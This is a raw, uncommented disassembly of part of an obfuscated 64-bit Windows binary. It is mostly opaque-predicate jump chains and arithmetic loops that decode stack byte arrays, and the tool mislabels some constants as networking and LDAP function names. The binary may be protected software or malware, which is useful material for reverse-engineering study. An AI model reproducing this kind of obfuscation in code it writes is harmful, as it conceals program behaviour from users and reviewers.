sub cl, al
sub cl, byte [rbp + rdi + 0x7f0]
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140081fff
movabs rdx, 0xe5284c13c878f2f4
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4eda47aa31ac45d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x7f0], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x9e8af9619dccfc50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x30
add cl, bl
mov byte [rbp + rdi + 0x7f0], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
jmp 0x140082201
movabs rdx, 0x45c6e8a4f03785fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0xc8415ae98f31d21c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x28dff77ab6f06524
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082124
movabs rcx, 0xea1d309d066d8b34
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
movabs rcx, 0x101780cc81296be4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x3c
add cl, bl
mov byte [rbp + rdi + 0x7f0], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0x6c97a2e1a567d754
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0xcd363f72cd266a5c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0xef12152644622374
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0x7f0]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x66cc544b2cfece6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814be
movabs rcx, 0xc76af0dc54bd6174
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
jmp 0x1400814ae
lea rcx, [rbp + 0x17aa340]
jmp 0x140082292
lea rcx, [rbp + 0xdb59bc]
jmp 0x140082292
lea rcx, [rbp + 0x7f0]
mov dword [rbp + 0xf00], 0x64
mov dword [rbp + 0xf08], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf00]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf08]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xcf0], 1
mov byte [rbp + 0xcf1], Ordinal_200
mov byte [rbp + 0xcf2], Ordinal_45
xorps xmm0, xmm0
movups xmmword [rbp + 0xcf3], xmm0
movups xmmword [rbp + 0xd03], xmm0
movabs rsi, 0xe3e2a5bdb3269f82
movabs r13, 0x602f5d39cb941ffa
movabs r14, 0x39b79e61896d5cbe
movabs r12, 0x7958e3edf2451cca
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400830bd
movzx ebx, byte [rbp + rdi + 0xcf0]
mov r10, rbx
cmp r8, rdi
ja 0x1400830b1
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140082383
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x2a
jmp 0x1400823d0
je 0x140083023
lea rax, [r9 + 2]
cmp r8, rax
je 0x140082f89
lea rax, [rcx + 1]
cmp r8, rax
je 0x140082f50
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082f1a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082eb6
lea rax, [r9 + 7]
cmp r8, rax
je 0x140082e88
nop word [rax + rax]
cmp r9, rdi
ja 0x1400830a8
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400823fe
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140082432
lea rax, [r9 + 1]
cmp r8, rax
je 0x140082e3a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082e29
lea rax, [r9 + 2]
cmp r8, rax
je 0x140082e01
lea rax, [r9 + 6]
cmp r8, rax
je 0x140082dc8
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400829ba
nop
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140082992
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140082961
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140082938
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140082910
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400828d5
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400828a2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008286e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082440
lea r8, [r9 + 3]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140083080
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008305d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400825de
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400825bf
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400825a5
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400827a1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008276e
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140082440
lea r8, [r9 + 6]
lea r9, [r8 + 5]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008273a
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140082712
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400826ef
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400826bc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140082681
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008265a
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140082629
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140082606
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x200]
jmp 0x140082440
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x140082432
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400823d0
movabs rdx, 0xb8fa297a5b1cdcd6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082354
movabs rcx, 0x1f152ded9934fc10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140082e58
movabs rdx, 0x5eb6737a020cbc1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082342
movabs rdx, 0xddf8fe92d3bc3c34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x140082ed9
movabs rdx, 0x1d9a441f3c93fc40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rcx, 0x5d3b89aba56bbc4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rcx, 0x9cdccf380e437c58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140082fae
movabs rdx, 0xdc7e14c4771b3c64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082fdf
movabs rcx, 0x1c1f5a50dff2fc70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
movabs rdx, 0x3b32882fe60e5c8e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xcf0], r11b
inc rdi
jmp 0x140082342
movabs rdx, 0xfa1658d520959cb2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x140082d9b
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140082af5
movabs rdx, 0xeb4936c5824b9e92
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x61
jae 0x140082d71
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140082c23
movabs rdx, 0xcf2bdc8335723e14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x5a
jb 0x140082791
movabs rcx, 0x52df25071d04bd9c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140082e58
movabs rcx, 0x574fe27232e7bd0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
movabs rcx, 0x1633b3176d6efd30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rdx, 0x55d4f8a3d646bd3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rdx, 0x95763e303f1e7d48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140082ed9
movabs rcx, 0xd51783bca7f63d54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
dec rdi
inc rdi
jmp 0x140082342
movabs rdx, 0x14b8c94910cdfd60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140082342
movabs rdx, 0x545a0ed579a5bd6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082e58
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400829e2
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400827c4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082a1f
movabs rcx, 0xc7c54b7b664d3f04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082a4f
movabs rdx, 0x4882c062949dbeec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
add r11b, dl
jmp 0x140082fae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082a8b
movabs rcx, 0x8e17ad62bc5fee0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082ab7
movabs rcx, 0x899eefbd5a167ec8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x140082ed9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400827c4
movabs rdx, 0xa5c64a48866feb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082342
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140082b26
movabs rdx, 0xaba7f1391973de86
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082e58
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082b58
movabs rcx, 0x2c65662047c45e6e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
dec rdi
inc rdi
jmp 0x140082342
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140082b75
movabs rdx, 0xecc42093deec9e62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x140082ec5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082bb4
movabs rcx, 0xad22db077614de56
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082be2
movabs rdx, 0x2de04feea4655e3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140082fab
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140082802
movabs rcx, 0xae9dc4d5d2b5de26
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082c60
movabs rcx, 0x8f8a96f6cc9a7e08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
inc rax
cmp r8, rax
jne 0x140082c90
movabs rdx, 0x4fe9516a63c2bdfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140082fdf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082cbe
movabs rdx, 0x10480bddfaeafdf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140082fab
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082d02
movabs rdx, 0x910580c5293b7dd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140082d3c
movabs rdx, 0xd221b01feeb43db4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082342
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008283c
movabs rdx, 0x92806a9385dc7da8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082e58
movabs rdx, 0x133ddf7ab42cfd90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xcf0]
jmp 0x140082ed3
movabs rdx, 0xd39c99ee4b553d84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xcf0]
add r11b, dl
jmp 0x140082fab
movabs rdx, 0xa73733ce0390df16
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
movabs rdx, 0xe6d8795a6c689f22
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082fdf
movabs rdx, 0x24fed518789f5f5e
mov ecx, gethostname
jmp 0x140082e97
movabs rcx, 0xa44160314a4edf76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
movabs rcx, 0xb30e8240e898dd96
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x1a
add bl, cl
mov byte [rbp + rdi + 0xcf0], bl
inc r9
dec rdi
inc rdi
jmp 0x140082342
movabs rdx, 0xa2c67662edaddfa6
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140082342
movabs rdx, 0xe267bbef56859fb2
mov ecx, reloc.WS2_32.dll_recvfrom
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x736d3cb47fc11d8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xcf0], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rcx, 0x2209017bbf5d5fbe
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
movabs rdx, 0x61aa470828351fca
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082342
mov rbx, r10
movabs rcx, 0xa14b8c94910cdfd6
add rcx, rdi
and r10b, cl
mov eax, reloc.WS2_32.dll_send
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
movabs rdx, 0x33cbf72816e95d7e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x72
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xcf0], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x93fb5461e27d7d78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x48
add bl, cl
mov byte [rbp + rdi + 0xcf0], bl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
movabs rdx, 0x208e17ad62bc5fee
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xcf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082342
movabs rcx, 0xf89b6f06c3f49ce2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x140082340
movabs rdx, 0x383cb4932ccc5cee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082330
lea r14, [rbp + 0x14588e8]
jmp 0x1400830c4
lea r14, [rbp + 0xd9a8e2]
jmp 0x1400830c4
lea r14, [rbp + 0xcf0]
lea rdx, [0x140236cd0]
lea rcx, [rbp + 0x5a0]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x60]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rsi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0xd18], 0x66
mov byte [rbp + 0xd19], 0x80
mov byte [rbp + 0xd1a], 0x87
mov byte [rbp + 0xd1b], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd1c], 0x88
mov byte [rbp + 0xd1d], gethostname
mov byte [rbp + 0xd1e], 0x61
mov byte [rbp + 0xd1f], Ordinal_143
mov byte [rbp + 0xd20], Ordinal_50
mov byte [rbp + 0xd21], 0x7f
mov byte [rbp + 0xd22], Ordinal_143
mov byte [rbp + 0xd23], Ordinal_143
mov byte [rbp + 0xd24], 0x83
mov byte [rbp + reloc.WS2_32.dll_listen25], 0xd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd26], xmm0
mov dword [rbp + 0xd36], eax
mov byte [rbp + 0xd3a], al
movabs r12, 0x95bb5a4dedb97cd4
movabs r13, 0x1c08dbd30d2115ac
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0x1f82d389ce5e2a84
cmp rdi, 0x23
jae 0x140083f46
movzx ebx, byte [rbp + rdi + 0xd18]
mov r10, rbx
cmp r8, rdi
ja 0x140083f3a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400831fc
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x64
jmp 0x140083230
je 0x140083ea9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083e45
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083e1c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083df0
nop dword [rax]
cmp r9, rdi
ja 0x140083f2e
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14008325e
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400832a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140083d9e
inc rax
cmp r8, rax
je 0x140083d72
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083d5e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083cf3
lea rax, [r9 + 6]
cmp r8, rax
je 0x140083cba
nop
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400838f4
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400838d1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400838a5
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008387c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140083854
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008382c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400837f9
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400837d6
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400837ae
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140083775
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400832b0
lea r8, [r9 + 5]
lea r9, [r8 + 3]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140083f06
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140083ee3
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400834ad
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008348a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008346b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008370d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400836ad
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140083664
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140083631
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400832b0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400835f8
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400835e4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400835c1
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008358e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008356b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140083557
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140083529
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400834fd
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400834da
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400832b0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x41]
jmp 0x1400832b0
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400832a0
movabs rcx, 0xdd0334bf7064c0a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140083230
movabs rcx, 0x9dfd8dabd3a86b9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
movabs rcx, 0x1f82d389ce5e2a84
jmp 0x1400831ce
movabs rcx, 0xaddad26f6dcbe6a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140083dbc
movabs rcx, 0x6ed52b5bd10f9198
add rcx, rdi
movzx eax, cl
